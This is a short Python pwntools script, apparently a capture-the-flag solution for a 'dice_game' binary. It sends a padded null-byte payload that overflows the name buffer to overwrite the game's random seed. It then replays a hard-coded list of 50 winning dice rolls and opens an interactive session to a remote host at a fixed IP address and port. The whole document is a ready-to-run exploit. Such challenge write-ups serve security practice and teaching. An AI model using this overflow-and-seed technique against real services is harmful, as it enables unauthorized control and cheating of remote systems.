1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context.log_level = "debug" context.arch = "amd64" elf = ELF("dice_game") sh = 0 lib = 0 answer = [2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1] def pwn(ip,port,debug): global sh global lib if(debug == 1): sh = process("./dice_game") else: sh = remote(ip,port) sh.recvuntil("Welcome, let me know your name: ") payload = '\x00' * (0x50-0x4) + "\x32" sh.send(payload) sh.recvuntil("Game ") for i in answer: sh.sendline(str(i)) sh.recv() sh.interactive() if __name__ == "__main__": pwn("111.198.29.45",45778,0)
|